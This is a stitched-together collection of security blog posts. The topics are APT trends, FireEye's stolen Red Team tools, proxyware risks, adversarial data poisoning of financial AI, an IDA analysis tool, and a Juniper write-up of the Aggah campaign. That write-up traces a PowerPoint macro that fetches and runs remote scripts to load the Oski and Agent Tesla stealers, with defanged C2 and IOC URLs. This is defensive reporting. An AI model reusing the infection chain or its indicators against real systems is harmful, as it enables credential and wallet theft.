Dragos tracks multiple ICS-targeting threat groups that target remote access technologies like RDP, including PARISITE, MAGNALLIUM, ALLANITE (associated with ITG15 or Dragonfly) and XENOTIME (the activity behind TRISIS).
Identifying and prioritizing crown jewels , or the assets that exercise control over the safety of an industrial process, can prevent adversaries from gaining RDP access and modifying existing configurations to assets that could cause major impact to an organization.
To learn more about our findings, check out the 2021 IBM Security X-Force Threat Intelligence Index and Dragos 2020 ICS Cybersecurity Year in Review .
FireEye has been busy over the last year.
We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors.
We chopped through Poison Ivy , documented a cyber arms dealer , and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.
Worldwide, security experts made many breakthroughs in cyber defense research in 2013.
I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.
In this post, I would like to highlight some of the outstanding research from 2013.
Trends in Targeting Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals.
But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.
Conflict Where kinetic conflict and nation-state disputes arise, malware is sure to be found.
Here are some of the more interesting cases documented this year: Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace.
Exemplifying this trend was the Indian malware group Hangover , the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
Korean peninsula: perhaps foreshadowing future conflict, North Korea was likely behind the Operation Troy (also known as DarkSeoul ) attacks on South Korea that included defacements, distributed denial-of-service (DDoS) attacks, and malware that wiped hard disks.
Another campaign, Kimsuky , may also have a North Korean connection.
China: this was the source of numerous attacks, including the ongoing Surtr campaign, against the Tibetan and Uygur communities, which targeted MacOS and Android.
Diplomacy Malware continues to play a key role in espionage in the Internet era.
Here are some examples that stood out this year: The Snowden documents revealed that NSA and GCHQ deployed key logging malware during the G20 meeting in 2009.
In fact, G20 meetings have long been targets for foreign intelligence services, including this year’s G20 meeting in Russia.
The Asia-Pacific Economic Cooperation ( APEC ) and The Association of Southeast Asian Nations ( ASEAN ) are also frequent targets.
FireEye announced that Operation Ke3chang compromised at least five Ministries of Foreign Affairs in Europe.
Red October , EvilGrab , and Nettraveler (aka RedStar) targeted both diplomatic missions and commercial industries.
Technical Trends Estimations of “sophistication” often dominate the coverage of targeted malware attacks.
But what I find interesting is that simple changes made to existing malware are often more than enough to evade detection.
Even more surprising is that technically “unsophisticated” malware is often found in the payload of “sophisticated” zero-day exploits.
And this year quite a number of zero-days were used in targeted attacks.
Exploits Quite a few zero-day exploits appeared in the wild this year, including eleven discovered by FireEye.
These exploits included techniques to bypass ASLR and application sandboxes.
The exploits that I consider the most significant are the following: CVE-2013-0640 , which was used in the MiniDuke attacks, CVE-2013-1347 , which was used in a watering hole attack on the Department of Labor website, CVE-2013-3893 , which was deployed by the same group, DeputyDog, which compromised Bit9 earlier in the year, CVE-2013-3906 , which was used in both targeted attacks and in cybercrime campaigns DeputyDog in a watering hole attack.
Evasion
The malware samples used by several advanced persistent threat (APT) actors were slightly modified this year, possibly as an evasive response to increased scrutiny, in order to avoid detection.
For example, there were changes to Aumlib and Ixeshe , which are malware families associated with APT12, the group behind attacks on the New York Times .
When APT1 (aka Comment Crew) returned after their activities were exposed, they also used modified malware.
In addition, Terminator (aka FakeM ), and Sykipot were modified.
Threat Actors Attribution is a tough problem, and the term itself has multiple meanings .
Some use it to refer to an ultimate benefactor, such as a nation-state.
Others use the term to refer to malware authors, or command-and-control (CnC) operators.
This year, I was fascinated by published research about exploit and malware dealers and targeted attack contractors (also known as cyber “hitmen”), because it further complicates the traditional “state-sponsored” analysis that we’ve become accustomed to.
Dealers — The malware and exploits used in targeted attacks are not always exclusively available to one threat actor.
Some are supplied by commercial entities such as FinFisher , which has been reportedly used against activists around the world, and HackingTeam , which sells spyware to governments and law enforcement agencies.
FireEye discovered a likely cyber arms dealer that is connected to no fewer than 11 APT campaigns – however, the relationship between the supplier and those who use the malware remains unclear.
Another similar cluster, known as the Maudi Operation , was also documented this year.
Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx , may be “hackers for hire”, tasked with breaking into targets and acquiring specific information.
Others, such as IceFog , engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion.
Another group, known as Winnti , tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity.
In one of the weirdest cases I have seen, malware known as “ MiniDuke ”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.
My colleagues at FireEye have put forward some interesting stealthy techniques in the near future.
In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.
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Overview A highly sophisticated state-sponsored adversary stole FireEye Red Team tools.
Because we believe that an adversary possesses these tools, and we do not know whether the attacker intends to use the stolen tools themselves or publicly disclose them, FireEye is releasing hundreds of countermeasures with this blog post to enable the broader security community to protect themselves against these tools.
We have incorporated the countermeasures in our FireEye products—and shared these countermeasures with partners, government agencies—to significantly limit the ability of the bad actor to exploit the Red Team tools.
You can find a list of the countermeasures on the FireEye GitHub repository found HERE .
Red Team Tools and Techniques A Red Team is a group of security professionals authorized and organized to mimic a potential adversary’s attack or exploitation capabilities against an enterprise’s security posture.
Our Red Team’s objective is to improve enterprise cyber security by demonstrating the impacts of successful attacks and by showing the defenders (i.e., the Blue Team) how to counter them in an operational environment.
We have been performing Red Team assessments for customers around the world for over 15 years.
In that time, we have built up a set of scripts, tools, scanners, and techniques to help improve our clients’ security postures.
Unfortunately, these tools were stolen by a highly sophisticated attacker.
The stolen tools range from simple scripts used for automating reconnaissance to entire frameworks that are similar to publicly available technologies such as CobaltStrike and Metasploit.
Many of the Red Team tools have already been released to the community and are already distributed in our open-source virtual machine, CommandoVM .
Some of the tools are publicly available tools modified to evade basic security detection mechanisms.
Other tools and frameworks were developed in-house for our Red Team.
No Zero-Day Exploits or Unknown Techniques
The Red Team tools stolen by the attacker did not contain zero-day exploits.
The tools apply well-known and documented methods that are used by other red teams around the world.
Although we do not believe that this theft will greatly advance the attacker’s overall capabilities, FireEye is doing everything it can to prevent such a scenario.
It’s important to note that FireEye has not seen these tools disseminated or used by any adversaries, and we will continue to monitor for any such activity along with our security partners.
Detections to Help the Community To empower the community to detect these tools, we are publishing countermeasures to help organizations identify these tools if they appear in the wild.
In response to the theft of our Red Team tools, we have released hundreds of countermeasures for publicly available technologies like OpenIOC, Yara, Snort, and ClamAV.
A list of the countermeasure is available on the FireEye GitHub repository found here .
We are releasing detections and will continue to update the public repository with overlapping countermeasures for host, network, and file-based indicators as we develop new or refine existing detections.
In addition, we are publishing a list of CVEs that need to be addressed to limit the effectiveness of the Red Team tools on the GitHub page.
FireEye Products Protect Customers Against These Tools Teams across FireEye have worked to build the countermeasures to protect our customers and the broader community.
We have incorporated these countermeasures into our products and shared these countermeasures with our partners, including the Department of Homeland Security, who have incorporated the countermeasures into their products to provide broad coverage for the community.
More information on the detection signatures available can be found in the GitHub repository .
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Imagine getting paid for access to just a tiny portion of your Internet bandwidth at work.
Sounds pretty sweet, doesn’t it?
The computer is on all the time anyway, and you have unlimited Internet access, so why not?
It’s not even your own resources, just corporate equipment and bandwidth.
That all sounds simple, but you don’t have to look too closely to see that when you agree to install a proxyware client on a work computer, it’s not harmless at all.
Install proxyware and you’re exposing your corporate network to risks that far outweigh any income you might earn from the deal.
To put it bluntly, no other questionable Internet money-making scheme comes with such a variety of undesirable consequences.
Today we explain why proxyware is dangerous.
What is proxyware?
Researchers at Cisco Talos coined the term proxyware and have reported on the phenomenon in depth .
Essentially, a proxyware service acts as a proxy server.
Installed on a desktop computer or smartphone, it makes the device’s Internet connection accessible to an outside party.
Depending on how long the program remains enabled and how much bandwidth it is permitted to use, the client accumulates points that can eventually be converted into currency and transferred to a bank account.
Of course, these kinds of services do not have to be used for illegal purposes, and they do have some legitimate applications.
For example, some appeal to the marketing departments of large companies, which need as many Web entry points as possible in different geographic regions.
Why proxyware on a company computer is a bad idea Although proxyware services claim “tenants” are harmless, problems sometimes still occur, including IP address reputation damage and software reliability.
Pessimization of the IP address The most common problem with proxyware for the users of the computers on which it runs — or even for the entire network if it has a single IP address — is that the services often encounter CAPTCHA s, whose entire point is to ensure only real humans can get access to an online resource.
A computer with proxyware raises suspicions, and rightly so.
One way bandwidth tenants can use proxyware-laden computers is to scan the Web or measure the speed of website access by regularly deploying a flood of requests.
Automatic DDoS protection systems do not like that.
It can also be a sign of something even more shady, such as spam mailings.
Keep in mind that the consequences can be much more dire for the company, with automated requests landing the organization’s IP address on a list of unsafe addresses.
So, for example, if the e-mail server operates on the same address, at some point the employees’ messages may stop reaching external recipients.
Other e-mail servers will simply start blocking the organization’s IP address and domain.
Fake proxyware clients Another risk employees take in installing proxyware is that they may download something they didn’t mean to.
Try this little experiment: Go to Google and search for “honeygain download.”
You’ll get a couple of links to the developer’s official website and hundreds to unscrupulous file-sharing sites, half of which include “bonus content” with their downloads.
What kinds of bonus content?
Well, researchers describe one such trojanized installer as deploying a cryptocurrency-mining program (which devour a PC’s resources and electricity) and a tool to connect to the cybercriminals’ command server, from which anything else can be downloaded at any time.
That kind of proxyware can take down an organization’s entire IT infrastructure.
It could also lead to ransomware encrypting data, ransom demands, and more.
In sum, proxyware is a grab bag of dangers for a business.
Covert installation of proxyware Most scenarios resemble the above: unintended consequences of purposeful (if sometimes unauthorized) installations.
The converse sometimes happens as well, with an employee catching actual malware on a shady site, and that malware installing a modified proxyware client on the computer.
That’s nothing but trouble: slowed computers, less network bandwidth, and, potentially, data theft.
Recommendations for businesses Your best way to combat criminal exploitation through proxyware is to install a reliable antivirus solution on every computer that has Internet access.
Not only will that protect your company from the harmful effects of proxyware, but if said proxyware includes, or is included with, other malware, you’ll still be covered.
To be clear, even “clean” proxyware is not much better.
A sound security policy should not allow anyone to install proxyware or any other questionable software on employees’ computers, regardless of whether the computers are in the office or employees are connecting to the organization’s VPN.
As a rule, most employees do not need, and should not be allowed, to install software on their computers independently.
Currently, threat actors possess limited access to the technology required to conduct disruptive operations against financial artificial intelligence (AI) systems and the risk of this targeting type remains low.
However, there is a high risk of threat actors leveraging AI as part of disinformation campaigns to cause financial panic.
As AI financial tools become more commonplace, adversarial methods to exploit these tools will also become more available, and operations targeting the financial industry will be increasingly likely in the future.
AI Compounds Both Efficiency and Risk Financial entities increasingly rely on AI-enabled applications to streamline daily operations, assess client risk, and detect insider trading.
However, researchers have demonstrated how exploiting vulnerabilities in certain AI models can adversely affect the final performance of a system.
Cyber threat actors can potentially leverage these weaknesses for financial disruption or economic gain in the future.
Recent advances in adversarial AI research highlights the vulnerabilities in some AI techniques used by the financial sector.
Data poisoning attacks , or manipulating a model's training data, can affect the end performance of a system by leading the model to generate inaccurate outputs or assessments.
Manipulating the data used to train a model can be particularly powerful if it remains undetected, since \"finished\" models are often trusted implicitly.
It should be noted that adversarial AI research demonstrates how anomalies in a model do not necessarily point users toward a wrong answer, but redirect users away from the more correct output.
Additionally some cases of compromise require threat actors to obtain a copy of the model itself, through reverse engineering or compromising the machine learning pipeline of the target.
The following are some vulnerabilities that assume this white-box knowledge of the models under attack: Classifiers are used for detection and identification, such as object recognition in driverless cars and malware detection in networks.
Researchers have demonstrated how these classifiers can be susceptible to evasion , meaning objects can be misclassified due to inherent weaknesses in the mode (Figure 1).
Figure 1:
Examples of classifier evasion where AI models identified 6 as 2 Researchers have highlighted how data poisoning can influence the outputs of AI recommendation systems.
By changing reward pathways, adversaries can make a model suggest a suboptimal output such as reckless trades resulting in substantial financial losses.
Additionally, groups have demonstrated a data-poisoning attack where attackers did not have control over how the training data was labeled.
Natural language processing applications can analyze text and generate a basic understanding of the opinions expressed, also known as sentiment analysis.
Recent papers highlight how users can input corrupt text training examples into sentiment analysis models to degrade the model's overall performance and guide it to misunderstand a body of text.
Compromises can also occur when the threat actor has limited access and understanding of the model’s inner-workings.
Researchers have demonstrated how open access to the prediction functions of a model as well as knowledge transfer can also facilitate compromise.
How Financial Entities Leverage AI AI can process large amounts of information very quickly, and financial institutions are adopting AI-enabled tools to make accurate risk assessments and streamline daily operations.
As a result, threat actors likely view financial service AI tools as an attractive target to facilitate economic gain or financial instability (Figure 2).
Figure 2:
Financial AI tools and their weaknesses Sentiment Analysis Use Branding and reputation are variables that help analysts plan future trade activity and examine potential risks associated with a business.
News and online discussions offer a wealth of resources to examine public sentiment .
AI techniques, such as natural language processing, can help analysts quickly identify public discussions referencing a business and examine the sentiment of these conversations to inform trades or help assess the risks associated with a firm.
Potential Exploitation Threat actors can potentially insert fraudulent data that could generate erroneous analyses regarding a publicly traded firm.
For example, threat actors could distribute false negative information about a company that could have adverse effects on a business' future trade activity or lead to a damaging risk assessment.
Manipulating the data used to train a model can be particularly powerful if it remains undetected, since \"finished\" models are often trusted implicitly.
Threat Actors Using Disinformation to Cause Financial Panic FireEye assess with high confidence that there is a high risk of threat actors spreading false information that triggers AI enabled trading and causes financial panic.
Additionally, threat actors can leverage AI techniques to generate manipulated multimedia or \"deep fakes\" to facilitate such disruption.
False information can have considerable market-wide effects.
Malicious actors have a history of distributing false information to facilitate financial instability.
For example, in April 2013, the Syrian Electronic Army (SEA) compromised the Associated Press (AP)
Twitter account and announced that the White House was attacked and President Obama sustained injuries.
After the false information was posted, stock prices plummeted.
Figure 3:
Tweet from the Syrian Electronic Army (SEA) after compromising Associated Press's Twitter account Malicious actors distributed false messaging that triggered bank runs in Bulgaria and Kazakhstan in 2014.
In two separate incidents, criminals sent emails, text messages, and social media posts suggesting bank deposits were not secure, causing customers to withdraw their savings en masse.
Threat actors can use AI to create manipulated multimedia videos or \" deep fakes \" to spread false information about a firm or market-moving event.
Threat actors can also use AI applications to replicate the voice of a company's leadership to conduct fraudulent trades for financial gain.
We have observed one example where a manipulated video likely impacted the outcome of a political campaign.
Portfolio Management Use Several financial institutions are employing AI applications to select stocks for investment funds , or in the case of AI-based hedge funds , automatically conduct trades to maximize profits.
Financial institutions can also leverage AI applications to help customize a client's trade portfolio.
AI applications can analyze a client's previous trade activity and propose future trades analogous to those already found in a client's portfolio.
Potential Exploitation Actors could influence recommendation systems to redirect a hedge fund toward irreversible bad trades, causing the company to lose money (e.g., flooding the market with trades that can confuse the recommendation system and cause the system to start trading in a way that damages the company).
Moreover, many of the automated trading tools used by hedge funds operate without human supervision and conduct trade activity that directly affects the market.
This lack of oversight could leave future automated applications more vulnerable to exploitation as there is no human in the loop to detect anomalous threat activity.
Threat Actors Conducting Suboptimal Trades We assess with moderate confidence that manipulating trade recommendation systems poses a moderate risk to AI-based portfolio managers.
The diminished human involvement with trade recommendation systems coupled with the irreversibility of trade activity suggest that adverse recommendations could quickly escalate to a large-scale impact.
Additionally, operators can influence recommendation systems without access to sophisticated AI technologies; instead, using knowledge of the market and mass trades to degrade the application's performance.
We have previously observed malicious actors targeting trading platforms and exchanges, as well as compromising bank networks to conduct manipulated trades.
Both state-sponsored and financially motivated actors have incentives to exploit automated trading tools to generate profit, destabilize markets, or weaken foreign currencies.
Russian hackers reportedly leveraged Corkow malware to place $500M worth of trades at non-market rates, briefly destabilizing the dollar-ruble exchange rate in February 2015.
Future criminal operations can leverage vulnerabilities in automatic training algorithms to disrupt the market with a flood of automated bad trades.
Compliance and Fraud Detection Use Financial institutions and regulators are leveraging AI-enabled anomaly detection tools to ensure that traders are not engaging in illegal activity.
These tools can examine trade activity, internal communications , and other employee data to ensure that workers are not capitalizing on advanced knowledge of the market to engage in fraud, theft, insider trading, or embezzlement.
Potential Exploitation Sophisticated threat actors can exploit the weaknesses in classifiers to alter an AI-based detection tool and mischaracterize anomalous illegal activity as normal activity.
Manipulating the model helps insider threats conduct criminal activity without fear of discovery.
Threat Actors Camouflaging Insider Threat Activity
Currently threat actors possess limited access to the kind of technology required to evade these fraud detection systems, and therefore with high confidence we assess that the threat of this activity type remains low.
However, as AI financial tools become more commonplace, adversarial methods to exploit these tools will also become more available and insider threats leveraging AI to evade detection will likely increase in the future.
Underground forums and social media posts demonstrate there is a market for individuals with insider access to financial institutions.
Insider threats could exploit weaknesses in AI-based anomaly detectors to camouflage nefarious activity, such as external communications, erratic trades, and data transfers, as normal activity.
Trade Simulation Use Financial entities can use AI tools that leverage historical data from previous trade activity to simulate trades and examine their effects.
Quant-fund managers and high-speed traders can use this capability to strategically plan future activity, such as the optimal time of the day to trade.
Additionally, financial insurance underwriters can use these tools to observe the impact of market-moving activity and generate better risk assessments.
Potential Exploitation By exploiting inherent weaknesses in an AI model, threat actors could lull a company into a false sense of security regarding the way a trade will play out.
Specifically, threat actors could find out when a company is training their model and inject corrupt data into a dataset being used to train the model.
Subsequently, the end application generates an incorrect simulation of potential trades and their consequences.
These models are regularly trained on the latest financial information to improve a simulation's performance, providing threat actors with multiple opportunities for data poisoning attacks.
Additionally, some high-speed traders speculate that threats could flood the market with fake sell orders to confuse trading algorithms and potentially cause the market to crash .
FireEye Threat Intelligence has previously examined how financially motivated actors can leverage data manipulation for profit through pump and dump scams and stock manipulation.
Threat Actors Conducting Insider Trading FireEye assesses with moderate confidence that the current risk of threat actors leveraging these attacks is low as exploitations of trade simulations require sophisticated technology as well as additional insider intelligence regarding when a financial company is training their model.
Despite these limitations, as financial AI tools become more popular, adversarial methods to exploit these tools are also likely to become more commonplace on underground forums and via state-sponsored threats.
Future financially motivated operations could monitor or manipulate trade simulation tools as another means of gaining advanced knowledge of upcoming market activity.
Risk Assessment and Modeling Use AI can help the financial insurance sector's underwriting process by examining client data and highlighting features that it considers vulnerable prior to market-moving actions (joint ventures, mergers & acquisitions, research & development breakthroughs, etc.
).
Creating an accurate insurance policy ahead of market catalysts requires a risk assessment to highlight a client's potential weaknesses.
Financial services can also employ AI applications to improve their risk models .
Advances in generative adversarial networks can help risk management by stress-testing a firm's internal risk model to evaluate performance or highlight potential vulnerabilities in a firm's model.
Potential Exploitation
If a country is conducting market-moving events with a foreign business, state-sponsored espionage actors could use data poisoning attacks to cause AI models to over or underestimate the value or risk associated with a firm to gain a competitive advantage ahead of planned trade activity.
For example, espionage actors could feasibly use this knowledge and help turn a joint venture into a hostile takeover or eliminate a competitor in a bidding process.
Additionally, threat actors can exploit weaknesses in financial AI tools as part of larger third-party compromises against high-value clients.
Threat Actors Influencing Trade Deals and Negotiations With high confidence, we consider the current threat risk to trade activity and business deals to be low, but as more companies leverage AI applications to help prepare for market-moving catalysts, these applications will likely become an attack surface for future espionage operations.
In the past, state-sponsored actors have employed espionage operations during collaborations with foreign companies to ensure favorable business deals.
Future state-sponsored espionage activity could leverage weaknesses in financial modeling tools to help nations gain a competitive advantage.
Outlook and Implications Businesses adopting AI applications should be aware of the risks and vulnerabilities introduced with these technologies, as well as the potential benefits.
It should be noted that AI models are not static; they are routinely updated with new information to make them more accurate.
This constant model training frequently leaves them vulnerable to manipulation.
Companies should remain vigilant and regularly audit their training data to eliminate poisoned inputs.
Additionally, where applicable, AI applications should incorporate human supervision to ensure that erroneous outputs or recommendations do not automatically result in financial disruption.
AI's inherent limitations also pose a problem as the financial sector increasingly adopts these applications for their operations.
The lack of transparency in how a model arrived at its answer is problematic for analysts who are using AI recommendations to conduct trades.
Without an explanation for its output , it is difficult to determine liability when a trade has negative outcomes.
This lack of clarity can lead analysts to mistrust an application and eventually refrain from using it altogether.
Additionally, the rise of data privacy laws may also accelerate the need for explainable AI in the financial sector.
Europe's General Data Protection Regulation (GDPR) stipulates that companies employing AI applications must have an explanation for decisions made by its models .
Some financial institutions have begun addressing this explainability problem by developing AI models that are inherently more transparent.
Researchers have also developed self-explaining neural networks , which provide understandable explanations for the outputs generated by the system.
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Intro This blog post is the next episode in the FLARE team IDA Pro Script\nseries.
All scripts and plug-ins are available from our GitHub repo at https://github.com/fireeye/flare-ida .
Automating the Repetitive I am a big believer in automating repetitive tasks to improve and\nsimplify reverse engineering.
The task described in this blog comes up\nfrequently in malware analysis: identifying all of the arguments given\nto a function within a program.
This situation may come up when trying to: Identify the size, location, and possible key used to decrypt\nencoded strings used by the malware.
Identify each function\npointer used to start a new thread (i.e., the arguments to CreateThread or _ beginthreadex ).
Identify static strings\nused in API functions that may be used as an indicator (i.e., named\nmutexes and events).
Identify all of the functions resolved\nat runtime (i.e., all of the arguments to GetProcAddress).
To assist reverse engineers who face similar obstacles we are\nreleasing a new IDA Python utility as part of our FLARE IDA script\nrelease: argtracker .
This tool is not meant\nas a stand-alone plug-in, but rather as an aid to quickly write and\ndevelop your own custom analysis scripts within IDA.
With argtracker , you can request all\narguments to a given function, and then analyze, decode, or emulate in\nany way you see fit.
Usage Starting off with a simple example, let's consider a Gh0st variant.\nThis malware family traditionally has its own wrapper function around\nthe Win32 function _ beginthreadex to launch\nnew threads.
This function typically has a function prototype shown in\nFigure 1.
Figure 1: Gh0st malware MyCreateThread\nfunction prototype Suppose we’d like to quickly find all values of the lpStartAddress parameter so that we can perform\nsome automated analysis of each thread function.
We can use argtracker for exactly this purpose using the code\nin Figure 2.
The full source code for this example can be found in examples/argtracker_example1.py in our flare-ida GitHub repo.
Figure 2:
Example argtracker usage In this sample code, we start by creating a new Vivisect workspace.\nVivisect (see installation instructions at the end) is a separate\nbinary analysis framework written in Python and is used heavily by argracker .
The workspace contains analysis\ninformation similar to an IDB file for IDA.
Using this workspace, a\nnew ArgTracker instance is created.
For each\ncode cross-reference to MyCreateThread , we\ncall tracker.getPushArgs(xref, 7) .
This\nfunction takes as parameters: The location of the call instruction being analyzed: xref
The number of stack arguments to\nextract: 7 An optional list of register names that contain\narguments to extract, which defaults to being empty This malware sample uses the _ cdecl calling convention where all arguments are pushed on the stack, so all\nseven arguments should be able to be recovered by argtracker .
The third optional argument is\nexplained in the next example.
The return from getPushArgs() is a list of\nresult dictionaries.
Each dictionary contains numbered keys ranging\nfrom 1,2,..n where n is the number of stack arguments requested.
In\nthe sample code in Figure 2 we obtain the lpStartAddress values by retrieving the tuple with\nkey 3, since lpStartAddress is the third\nparameter to the function we analyzed.
The values in the tuple are\n( va, value) , where va is the effective address that argtracker observed the data value being passed as a parameter.
The sample\nscript merely prints this information out, but real scripts would\nbegin actual analysis with these results.
The reason that getPushArgs() returns a\nlist is for situations like in Figure 3, where separate code paths can\nsetup function arguments to a single call instruction.
Each entry in\nthe result list contains the complete set of arguments if the\ndifferent code paths were taken.
Figure 3: Multipath argtracker handling For a more complex example, suppose you have an annoying piece of\nmalware that decodes all of its strings at runtime.
In this example,\nthe function that decodes the strings has the function prototype shown\nin Figure 4.
The function has a non-standard calling convention, and\nwe are using IDA’s __ usercall annotation to\nallow us to specify that it takes two parameters on the stack ( inptr and tempPtr ), and\nthree arguments in registers ( outPtr in ecx , strLen in edi , and key in eax ).
Note: setting a function prototype in this way is not necessary for argracker , and is merely done here for\nillustrative purposes.
Figure 4:
Example function prototype The examples/ argtracker_example2.py in\nour flare-ida GitHub repo shows how argtracker can be used in this situation.
In this\nexample we really only care about three of these parameters: i nptr, strLen, and key .
Figure 5 shows basic initialization of the\nVivisect workspace using a helper function in the jayutils file (also in our GitHub rep).
A tracker\nobject is created from the Vivisect workspace, and then we get all\ncross-references to the string decoder function ( decStringFunc ).
Figure 5:
Argtracker initialization Figure 6 shows the call to getPushArgs() for every reference to the decoder function.
Only two arguments are\npassed on the stack so the second argument is 2.
Because registers are\nused to pass parameters, we now need to use the third argument to getPushArgs() by passing in a list of\nregister names that contain arguments to extract: [ ‘eax’, ‘ecx’, ‘edi’ ].
The return value is still\na list of dictionaries whose keys are the recovered arguments.
In\naddition to the stack arguments that can be accessed based on their\norder (1,2.. n), the register arguments can be recovered by using the\nregister name as the dictionary key.
As in the first example, the\nresult is a tuple that contains the effective address where the\nregister was modified prior to the call instruction, and the value.
Figure 6: Argtracker requesting\nparameters and processing them How it Works argtracker relies heavily upon Vivisect to\nperform additional analysis on the malware.
A separate Vivisect\nworkspace (.viv file) is created to store the analysis, so you may be\nasked to specify the path to the original malware file if the script\ncannot find the file based on information stored in the IDB.
Each\nfunction that contains a function call whose arguments are desired is\nemulated by Vivisect and all memory reads,  memory writes, and\nregister modifications are tracked.
The script then traces backwards\nfrom the call instruction under observation, queuing separate branch\nsources as they are encountered, until either all conditions specified\nby the user are met, or the function start is reached.
The Python script has been used successfully on both 32-bit x86 and\n64-bit x64 disassembly, but the 32-bit analysis has been tested much\nmore extensively.
Other processor types have not been tried.
One important caveat for this is that Vivisect’s emulation used by argtracker is only run at the function\nlevel.
Vivisect returns fake stub data for data that is non-constant\nwithin the function, such as uninitialized global data or function\nparameters, to allow analysis to complete.
You should sanity-check the\nresults of argtracker to make sure that\nthese stub values aren’t affecting the results.
Installation As with our other IDA Pro plug-ins, clone the git repository at https://github.com/fireeye/flare-ida .
The python directory can either be copied to the %IDADIR%\\python directory, or it can be in any\ndirectory found in your PYTHONPATH environment variable.
Clone the Vivisect repository from https://github.com/vivisect/vivisect and add the package to your PYTHONPATH environment variable if you\ndon’t already have it installed.
Test the installation by running the following Python commands\nwithin IDA Pro and ensure no error messages are produced: import vivisect import flare.argtracker Conclusion We hope you find argtracker as useful as\nwe do and that it speeds up your analysis.
Stay tuned for more helpful\nreverse engineering code and blog posts from the FLARE Team.
Subscribe to Blogs Get email updates as new blog posts are added.
Juniper Threat Labs has detected a new development in the Aggah malware campaign.
Previously, Aggah was known to be using legitimate infrastructures like BlogSpot, WordPress and Pastebin to host its malware.
Recently, we discovered an ongoing campaign where Aggah threat actors host their malware using Zendesk attachments and GitHub.
This campaign delivers several types of malware that are focused on stealing sensitive information, such as usernames and passwords, credit card information stored in browsers and crypto wallets.
We detected a malicious Microsoft PowerPoint sample, ed70f584de47480ee706e2f6ee65db591e00a114843fa53c1171b69d43336ffe , which was downloaded from Zendesk’s own infrastructure as an attachment: http://p17[.]zdusercontent[.
]com/attachment/9061705/eyckz3zuedoivxtp0i629aoxe
The PowerPoint document contains a malicious macro file that connects to a shortened bitly.com URL which expands to https://mujhepyaslagihaimujhepanipilao[.]blogspot[.
]com/p/mark2html in order  download and execute a malicious Script via mshta.exe.
Fig.1.
The VB script in .ppt executes another script from bitly.com using mshta.
Fig.2.
Bitly url expands to https://mujhepyaslagihaimujhepanipilao[.]blogspot[.
]com/p/mark2html
The script, mark2.html , hosted on mujhepyaslagihaimujhepanipilao[.]blogspot[.
]com , performs a series of operations, such as creating a Run entry in the registry to execute a PowerShell script, download and execute another script using scheduled task and use WMI in the registry Run key to download and execute another script.
Fig.3.
Series of operations done by mark2.html The code shown in Figure 3 downloads from the following links and executes them.
https://ia801405us[.]archive[.
]org/11/items/pg_20210716/blessed.txt https://randikhanaekminar[.]blogspot[.
]com/p/elevatednew1.html https://backbones1234511a[.]blogspot[.
]com/p/elevatednew1backup.html https://startthepartyup[.
]blogspot.com/
p/backbone15.html https://ghostbackbone123[.
]blogspot.com/p/
ghostbackup14.html Blessed.txt The PowerShell script is hosted on archive.org as blessed.txt .
The PowerShell loads a stealer malware, known as Oski.
The Oski malware is included in the PowerShell script as a hex-encoded string.
It uses a technique known as Signed Binary execution via RegSvcs.exe and .NET
Assembly.
Load to load this binary as an added layer of protection since it’s not saved to the disk and only stays in memory.
Fig.
4 Blessed.txt is a PowerShell script that contains a Windows executable which it loads via RegSvcs.exe Oski was first seen in 2019.
Today, it’s sold in Russian hacking forums for $70-$100.
Oski malware’s capabilities include: Stealing cryptocurrency wallets Stealing sensitive information stored in browsers such as credit card data, autofill data and cookies Stealing credentials from various applications such as FTP, VPN and web browsers Capturing screenshots Collecting system information Downloading and installing additional malware Fig .
5 Oski code that steals crypto and browser data Oski connects to the following C2 server: 103.153.76.164 After it collects and exfiltrates the data, it will delete traces of itself in the system.
Elevatednew1.html
One other routine that we have listed above in Fig.
3 includes creating a scheduled task to download and execute another malicious script hosted on https://randikhanaekminar[.]blogspot[.
]com/p/elevatednew1.html .
This malicious script loads another PowerShell script named blessed.txt .
This time, the script is hosted in GitHub as follows: https://raw[.]githubusercontent[.
]com/manasshole/newone/main/blessed.txt Fig.
6 Script code inside elevatednew1.html executes a PowerShell hosted in GitHub.com
The malware that it tries to install is Agent Tesla, a .NET keylogger and RAT that logs keystrokes and the host’s clipboard content.
The other malicious scripts backbone15.html and ghostbackup14.html are no longer available for download, while elevatednew1backup.html is the same as elevatednew1.html Before publication of this blog, we have contacted Zendesk and Github and they quickly responded to disable the hosted malware.
Conclusion The threat actors’ primary goal is to steal sensitive information such as usernames and passwords, credit cards and crypto wallets.
On the surface, this may seem to have a low impact in comparison with ransomware operations targeting enterprises.
However, the Aggah threat actors’ method of using legitimate infrastructure is worrisome.
As a defender, one way to disrupt malicious activity is to detect their infrastructure.
This is usually effective as it’s not that easy to change infrastructures.
As we have observed and noted, threat actors using GitHub, Archive.org, Zendesk, GitHub, Pastebin and Google Drive are not going away anytime soon and we expect their malicious efforts to continue.
For instance, Juniper Threat Labs has also seen a growing usage of Zendesk to host malware, which may warrant its own blog in the future.
In this particular case, Juniper Networks’ Advanced Threat Prevention (ATP) solution detects the Aggah malware file as follows: IOC ed70f584de47480ee706e2f6ee65db591e00a114843fa53c1171b69d43336ffe 103[.]153[.]76[.
]164 https://raw[.]githubusercontent[.
]com/manasshole/newone/main/blessed.txt http://p17[.]zdusercontent[.
]com/attachment/9061705/eyckz3zuedoivxtp0i629aoxe https://ia801405us[.]archive[.
]org/11/items/pg_20210716/blessed.txt https://randikhanaekminar[.]blogspot[.
]com/p/elevatednew1.html https://backbones1234511a[.]blogspot[.
]com/p/elevatednew1backup.html https://startthepartyup[.
]blogspot.com/p/backbone15.html https://ghostbackbone123[.
]blogspot.com/p/ghostbackup14.html
In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.”
